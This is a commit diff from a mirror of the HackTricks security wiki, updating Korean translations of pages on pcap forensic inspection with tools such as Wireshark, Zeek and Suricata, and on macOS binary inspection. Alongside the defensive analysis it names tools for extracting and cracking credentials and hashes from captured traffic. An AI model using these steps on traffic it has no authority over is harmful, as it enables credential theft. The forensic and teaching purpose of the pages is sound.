mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['generic-methodologies-and-resources/basic-forensic-methodol
This commit is contained in:
parent
9c8e455101
commit
b549037b0e
11 changed files with 808 additions and 743 deletions
|
@ -637,6 +637,7 @@
|
|||
* [Reverse Tab Nabbing](pentesting-web/reverse-tab-nabbing.md)
|
||||
* [Unicode Injection](pentesting-web/unicode-injection/README.md)
|
||||
* [Unicode Normalization](pentesting-web/unicode-injection/unicode-normalization.md)
|
||||
* [UUID Insecurities](pentesting-web/uuid-insecurities.md)
|
||||
* [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
* [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
* [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
|
|
|
@ -1,34 +1,35 @@
|
|||
# Pcap 검사
|
||||
# Pcap Inspection
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 **제로**부터 **히어로**까지 **AWS 해킹**을 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진**하기 위한 미션을 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 중요한 사이버 보안 행사 중 하나로 **유럽**에서도 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진**하는 임무를 가진 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들을 위한 뜨거운 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP** 대 **PCAPNG**에 대한 참고 사항: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않습니다**. 다른 도구에서 작업하기 위해 파일을 PCAPNG에서 PCAP으로 변환해야 할 수도 있습니다.
|
||||
**PCAP** 대 **PCAPNG**에 대한 참고: PCAP 파일 형식에는 두 가지 버전이 있습니다. **PCAPNG은 더 최신이며 모든 도구에서 지원되지 않을 수 있습니다**. 다른 도구에서 작업하기 위해 파일을 Wireshark나 다른 호환 도구를 사용하여 PCAPNG에서 PCAP으로 변환해야 할 수도 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
## PCAP을 위한 온라인 도구
|
||||
## Pcap을 위한 온라인 도구
|
||||
|
||||
* PCAP의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**을 시도해야 합니다.
|
||||
* [**PacketTotal**](https://packettotal.com)에서 pcap 내에서 **정보**를 추출하고 **악성 코드**를 검색하세요.
|
||||
* Pcap의 헤더가 **손상**된 경우 [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)를 사용하여 **수정**해야 합니다.
|
||||
* Pcap에서 **정보를 추출**하고 **악성 코드**를 검색하려면 [**PacketTotal**](https://packettotal.com)을 사용하세요.
|
||||
* [**www.virustotal.com**](https://www.virustotal.com) 및 [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)을 사용하여 **악성 활동**을 검색하세요.
|
||||
* 브라우저에서의 **전체 pcap 분석**은 [**https://apackets.com/**](https://apackets.com/)에서 가능합니다.
|
||||
|
||||
## 정보 추출
|
||||
|
||||
|
@ -37,18 +38,22 @@ HackTricks를 지원하는 다른 방법:
|
|||
### Wireshark
|
||||
|
||||
{% hint style="info" %}
|
||||
**PCAP를 분석할 예정이라면 Wireshark 사용 방법을 알아야 합니다.**
|
||||
**PCAP를 분석할 예정이라면 기본적으로 Wireshark 사용 방법을 알아야 합니다**
|
||||
{% endhint %}
|
||||
|
||||
Wireshark의 몇 가지 트릭을 다음에서 찾을 수 있습니다:
|
||||
Wireshark 트릭은 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="wireshark-tricks.md" %}
|
||||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [**https://apackets.com/**](https://apackets.com/)
|
||||
|
||||
브라우저에서의 Pcap 분석.
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어, pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다.
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_는 **pcap**을 분석하고 정보를 추출할 수 있습니다. 예를 들어 pcap 파일에서 Xplico는 각 이메일 (POP, IMAP 및 SMTP 프로토콜), 모든 HTTP 콘텐츠, 각 VoIP 통화 (SIP), FTP, TFTP 등을 추출합니다.
|
||||
|
||||
**설치**
|
||||
```bash
|
||||
|
@ -64,26 +69,26 @@ sudo apt-get install xplico
|
|||
```
|
||||
_**127.0.0.1:9876**_에 _**xplico:xplico**_ 자격 증명으로 액세스합니다.
|
||||
|
||||
그런 다음 **새로운 사례**를 만들고 사례 내에서 **새로운 세션**을 만들고 **pcap** 파일을 **업로드**합니다.
|
||||
그런 다음 **새로운 사례**를 만들고 해당 사례 내에 **새로운 세션**을 만들고 **pcap** 파일을 **업로드**합니다.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Xplico와 마찬가지로 pcap에서 **객체를 분석하고 추출하는 도구**입니다. [**여기에서**](https://www.netresec.com/?page=NetworkMiner) 무료 버전을 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\
|
||||
이 도구는 패킷에서 **다른 정보를 분석**하여 더 **빠르게** 무슨 일이 일어났는지 알 수 있도록 도움이 됩니다.
|
||||
Xplico와 마찬가지로 이 도구는 pcap에서 **분석 및 객체 추출**을 위한 도구입니다. 무료 버전을 [**여기**](https://www.netresec.com/?page=NetworkMiner)에서 **다운로드**할 수 있습니다. **Windows**와 호환됩니다.\
|
||||
이 도구는 또한 **더 빠른** 방식으로 **패킷에서 다른 정보를 분석**하는 데 유용합니다.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
[**여기에서 NetWitness Investigator를 다운로드**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)할 수 있습니다. **(Windows에서 작동합니다)**.\
|
||||
이는 패킷을 **분석**하고 정보를 유용한 방식으로 **정렬하여 내부에서 무슨 일이 일어나고 있는지 알 수 있는** 또 다른 유용한 도구입니다.
|
||||
[**여기**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware)에서 **NetWitness Investigator를 다운로드**할 수 있습니다 **(Windows에서 작동)**.\
|
||||
이 도구는 **패킷을 분석**하고 정보를 유용한 방식으로 정렬하여 **내부에서 무슨 일이 일어나고 있는지 파악**하는 데 유용합니다.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* 사용자 이름과 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 사용자 이름 및 암호 추출 및 인코딩 (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* 인증 해시 추출 및 Hashcat을 사용하여 해독 (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* 시각적 네트워크 다이어그램 작성 (네트워크 노드 및 사용자)
|
||||
* DNS 쿼리 추출
|
||||
* 모든 TCP 및 UDP 세션 재구성
|
||||
* 파일 조각 추출
|
||||
* 파일 조각내기
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -91,13 +96,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
pcap 내에서 **무언가**를 **찾고** 있다면 **ngrep**을 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다:
|
||||
만약 pcap 내부에서 **무언가를** 찾고 싶다면 **ngrep**를 사용할 수 있습니다. 다음은 주요 필터를 사용한 예시입니다:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### 조각내기
|
||||
### 조각 모음
|
||||
|
||||
일반적인 조각내기 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
|
||||
일반적인 조각 모음 기술을 사용하여 pcap에서 파일과 정보를 추출하는 데 유용할 수 있습니다:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
@ -105,11 +110,11 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.
|
|||
|
||||
### 자격 증명 캡처
|
||||
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 실시간 인터페이스에서 자격 증명을 구문 분석할 수 있습니다.
|
||||
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz)와 같은 도구를 사용하여 pcap 또는 라이브 인터페이스에서 자격 증명을 구문 분석할 수 있습니다.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 있는 사이버 보안 행사 중 하나로 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사 중 하나이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 데 봉사**하는 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 뜨거운 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -125,34 +130,22 @@ echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz
|
|||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**pcap 확인**
|
||||
|
||||
To analyze network traffic and investigate potential security incidents, it is often necessary to inspect pcap (Packet Capture) files. These files contain recorded network packets that can provide valuable information about network communications.
|
||||
|
||||
To check a pcap file, you can use various tools such as Wireshark, tcpdump, or tshark. These tools allow you to open the pcap file and view its contents, including the captured packets, their headers, and payload data.
|
||||
|
||||
By inspecting the pcap file, you can identify various network activities, such as HTTP requests, DNS queries, FTP transfers, or even suspicious traffic patterns. This information can help you understand the behavior of network devices, detect anomalies, and uncover potential security breaches.
|
||||
|
||||
When analyzing a pcap file, it is important to focus on specific aspects, such as source and destination IP addresses, port numbers, protocol types, and packet payloads. By examining these details, you can gain insights into the network traffic and identify any malicious or unauthorized activities.
|
||||
|
||||
In addition to manual inspection, you can also automate the analysis of pcap files using scripting languages like Python. This allows you to extract specific information from the pcap file, filter packets based on criteria, and perform more advanced analysis techniques.
|
||||
|
||||
Overall, checking pcap files is an essential step in the forensic investigation process. It helps uncover evidence, understand network behavior, and identify potential security threats.
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)는 다음과 같은 기능을 수행하는 도구입니다.
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap)은 다음을 수행하는 도구입니다.
|
||||
|
||||
* PCAP 파일을 읽고 HTTP 스트림을 추출합니다.
|
||||
* 압축된 스트림을 gzip으로 해제합니다.
|
||||
* 모든 파일을 Yara로 스캔합니다.
|
||||
* 모든 압축된 스트림을 gzip으로 해제합니다.
|
||||
* Yara로 모든 파일을 스캔합니다.
|
||||
* report.txt를 작성합니다.
|
||||
* 필요한 경우 일치하는 파일을 디렉토리에 저장합니다.
|
||||
* 선택적으로 일치하는 파일을 디렉토리에 저장합니다.
|
||||
|
||||
### 악성코드 분석
|
||||
|
||||
알려진 악성코드의 지문을 찾을 수 있는지 확인하세요:
|
||||
알려진 악성코드의 지문을 찾을 수 있는지 확인하십시오:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -160,11 +153,9 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들은 의심스러운 또는 악성 활동의 조사를 지원하기 위해 Zeek를 네트워크 보안 모니터(NSM)로 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다.
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html)는 수동적인 오픈 소스 네트워크 트래픽 분석기입니다. 많은 운영자들이 의심스러운 또는 악의적인 활동의 조사를 지원하기 위해 네트워크 보안 모니터(NSM)로서 Zeek를 사용합니다. Zeek는 보안 도메인을 넘어서 성능 측정 및 문제 해결을 포함한 다양한 트래픽 분석 작업을 지원합니다.
|
||||
|
||||
기본적으로 `zeek`가 생성하는 로그는 **pcap**이 아닙니다. 따라서 **다른 도구**를 사용하여 pcap에 대한 정보를 분석해야 합니다.
|
||||
|
||||
### 연결 정보
|
||||
기본적으로 `zeek`에 의해 생성된 로그는 **pcap**이 아닙니다. 따라서 **pcap에 대한 정보**가 있는 로그를 분석하기 위해 **다른 도구**를 사용해야 합니다.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -215,57 +206,6 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top
|
|||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS 정보
|
||||
|
||||
DNS(Domain Name System)은 인터넷에서 도메인 이름을 IP 주소로 변환하는 시스템입니다. DNS 정보는 패킷 캡처 파일(pcap)을 검사하여 도메인 이름과 관련된 정보를 얻는 데 사용될 수 있습니다.
|
||||
|
||||
#### DNS 쿼리
|
||||
|
||||
DNS 쿼리는 도메인 이름을 IP 주소로 변환하기 위해 DNS 서버에 보내는 요청입니다. pcap 파일을 검사하여 DNS 쿼리를 확인할 수 있습니다. DNS 쿼리는 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
|
||||
#### DNS 응답
|
||||
|
||||
DNS 응답은 DNS 서버에서 도메인 이름에 대한 IP 주소 또는 기타 정보를 반환하는 것입니다. pcap 파일을 검사하여 DNS 응답을 확인할 수 있습니다. DNS 응답은 다음과 같은 형식을 가질 수 있습니다:
|
||||
|
||||
```
|
||||
[Query Name] [Query Type] [Query Class] [TTL] [Answer Type] [Answer Data]
|
||||
```
|
||||
|
||||
- Query Name: 도메인 이름
|
||||
- Query Type: DNS 레코드 유형 (예: A, AAAA, MX 등)
|
||||
- Query Class: DNS 클래스 (일반적으로 IN)
|
||||
- TTL (Time to Live): DNS 레코드의 유효 기간
|
||||
- Answer Type: 응답의 유형 (예: A, AAAA, MX 등)
|
||||
- Answer Data: 응답 데이터 (예: IP 주소, 메일 서버 등)
|
||||
|
||||
#### DNS 레코드 유형
|
||||
|
||||
DNS 레코드 유형은 DNS 쿼리 및 응답에서 사용되는 다양한 유형의 정보를 나타냅니다. 일부 일반적인 DNS 레코드 유형은 다음과 같습니다:
|
||||
|
||||
- A: 도메인 이름에 대한 IPv4 주소
|
||||
- AAAA: 도메인 이름에 대한 IPv6 주소
|
||||
- MX: 도메인 이름에 대한 메일 서버
|
||||
- NS: 도메인 이름에 대한 네임 서버
|
||||
- CNAME: 도메인 이름에 대한 별칭
|
||||
- TXT: 도메인 이름에 대한 텍스트 정보
|
||||
|
||||
#### DNS 정보 추출
|
||||
|
||||
pcap 파일을 검사하여 DNS 정보를 추출하는 방법은 다음과 같습니다:
|
||||
|
||||
1. pcap 파일을 Wireshark 또는 tcpdump와 같은 패킷 캡처 도구로 엽니다.
|
||||
2. DNS 쿼리 및 응답 패킷을 필터링합니다.
|
||||
3. 필터링된 패킷에서 DNS 쿼리 및 응답 정보를 확인합니다.
|
||||
4. 도메인 이름, IP 주소, DNS 레코드 유형 등의 정보를 기록합니다.
|
||||
|
||||
DNS 정보 추출은 네트워크 트래픽 분석 및 보안 조사에 유용한 도구입니다.
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
@ -300,20 +240,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 행사이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술적인 지식을 촉진하는 미션**을 가지고 있는 이 회의는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
[**RootedCON**](https://www.rootedcon.com/)은 **스페인**에서 가장 관련성 높은 사이버 보안 이벤트 중 하나이며 **유럽**에서 가장 중요한 행사 중 하나입니다. **기술 지식을 촉진하는 데 봉사하는** 이 컨퍼런스는 모든 분야의 기술 및 사이버 보안 전문가들에게 열정적인 만남의 장입니다.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로에서 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **자신의 해킹 트릭을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
@ -18,11 +18,11 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료 기능을 제공합니다.
|
||||
|
||||
WhiteIntel의 주요 목표는 정보 도난 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
WhiteIntel의 주요 목표는 정보를 도난당한 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
||||
|
||||
그들의 웹사이트를 방문하여 엔진을 **무료로** 시험해 볼 수 있습니다:
|
||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 시험해 볼 수 있습니다:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
|
@ -50,7 +50,7 @@ objdump --disassemble-symbols=_hello --x86-asm-syntax=intel toolsdemo #Disassemb
|
|||
|
||||
### jtool2
|
||||
|
||||
이 도구는 **codesign**, **otool**, **objdump**의 **대체**로 사용될 수 있으며 몇 가지 추가 기능을 제공합니다. [**여기에서 다운로드**](http://www.newosxbook.com/tools/jtool.html)하거나 `brew`로 설치할 수 있습니다.
|
||||
이 도구는 **codesign**, **otool**, **objdump**의 **대체**로 사용될 수 있으며 몇 가지 추가 기능을 제공합니다. [**여기에서 다운로드하세요**](http://www.newosxbook.com/tools/jtool.html) 또는 `brew`를 사용하여 설치하세요.
|
||||
```bash
|
||||
# Install
|
||||
brew install --cask jtool2
|
||||
|
@ -100,41 +100,41 @@ ldid -S/tmp/entl.xml <binary>
|
|||
```
|
||||
### SuspiciousPackage
|
||||
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)은 **.pkg** 파일(설치 프로그램)을 설치하기 전에 내부를 확인하는 데 유용한 도구입니다.\
|
||||
이러한 설치 프로그램에는 일반적으로 악성 코드 제작자가 악용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다.
|
||||
[**SuspiciousPackage**](https://mothersruin.com/software/SuspiciousPackage/get.html)은 **.pkg** 파일(설치 프로그램)을 검사하고 설치하기 전에 내부를 확인하는 데 유용한 도구입니다.\
|
||||
이러한 설치 프로그램에는 일반적으로 악성 소프트웨어 제작자가 악용하는 `preinstall` 및 `postinstall` bash 스크립트가 포함되어 있습니다.
|
||||
|
||||
### hdiutil
|
||||
|
||||
이 도구를 사용하면 Apple 디스크 이미지(**.dmg**) 파일을 실행하기 전에 내용을 확인할 수 있습니다:
|
||||
이 도구를 사용하면 Apple 디스크 이미지(**.dmg**) 파일을 **마운트**하여 실행하기 전에 내용을 검사할 수 있습니다:
|
||||
```bash
|
||||
hdiutil attach ~/Downloads/Firefox\ 58.0.2.dmg
|
||||
```
|
||||
### Objective-C
|
||||
|
||||
#### Metadata
|
||||
#### 메타데이터
|
||||
|
||||
{% hint style="danger" %}
|
||||
Objective-C로 작성된 프로그램은 [Mach-O 바이너리](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 **클래스 선언을 유지**합니다. 이러한 클래스 선언에는 다음이 포함됩니다:
|
||||
Objective-C로 작성된 프로그램은 [Mach-O 이진 파일](../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)로 컴파일될 때 클래스 선언을 유지합니다. 이러한 클래스 선언에는 다음이 포함됩니다:
|
||||
{% endhint %}
|
||||
|
||||
* 클래스
|
||||
* 클래스 메소드
|
||||
* 클래스 인스턴스 변수
|
||||
|
||||
[class-dump](https://github.com/nygard/class-dump)를 사용하여 이 정보를 얻을 수 있습니다:
|
||||
[class-dump](https://github.com/nygard/class-dump)을 사용하여 이 정보를 얻을 수 있습니다:
|
||||
```bash
|
||||
class-dump Kindle.app
|
||||
```
|
||||
#### 함수 호출
|
||||
|
||||
바이너리에서 Objective-C를 사용하는 함수가 호출될 때, 컴파일된 코드는 해당 함수를 호출하는 대신 **`objc_msgSend`**를 호출합니다. 이는 최종 함수를 호출할 것입니다:
|
||||
Objective-C를 사용하는 이진 파일에서 함수가 호출될 때, 컴파일된 코드는 해당 함수를 호출하는 대신 **`objc_msgSend`**를 호출합니다. 이는 최종 함수를 호출할 것입니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (305).png>)
|
||||
|
||||
이 함수가 기대하는 매개변수는 다음과 같습니다:
|
||||
|
||||
* 첫 번째 매개변수인 (**self**)은 "메시지를 수신할 클래스의 **인스턴스를 가리키는 포인터**"입니다. 간단히 말하면, 메소드가 호출되는 객체입니다. 메소드가 클래스 메소드인 경우, 이것은 클래스 객체의 인스턴스(전체)일 것이며, 인스턴스 메소드의 경우 self는 객체로서 클래스의 인스턴스를 가리킵니다.
|
||||
